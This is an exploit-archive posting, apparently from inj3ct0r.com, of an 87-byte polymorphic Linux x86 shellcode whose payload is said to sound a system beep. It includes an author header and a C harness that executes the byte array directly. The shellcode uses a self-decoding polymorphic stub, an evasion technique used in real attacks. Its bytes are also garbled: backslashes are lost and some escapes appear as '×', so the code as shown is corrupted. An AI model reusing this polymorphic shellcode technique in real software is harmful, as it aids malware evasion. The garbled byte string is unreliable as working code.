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linux/x86 standard system beep polymorphic shellcode 87 bytes
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Title : Standard system beep polymorphic linux shellcode .
Name : 87 bytes standard system beep polymorphic linux shellcode .
Date : Wed Jul 14 19:52:38 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), emgent (backtrack-linux.org), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
*/
#include &lt;stdio.h&gt;

char shellcode[]= &quot;xebx11×5ex31xc9xb1×3fx80×6cx0exffx35×80xe9×01&quot;
&quot;x75xf6xebx05xe8xeaxffxffxffx95×9fx40×8dxcex87&quot;
&quot;x9dxa5×9axa7xa1×9dx97×9exa3×64x9dxaaxa8xa7×64&quot;
&quot;x9dx64×64x64×64xbex18×87x9dxadx65×6cx57×9dxa9&quot;
&quot;x55×57x91×9dxa5xa7×9exa3xbex16×87x86×20x3bx88&quot;
&quot;xbex16×02xb5×96x1dx2ax34×34x34×62x9a&quot;;

int main(void)
{
fprintf(stdout,&quot;Length: %dn&quot;,strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-14]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13338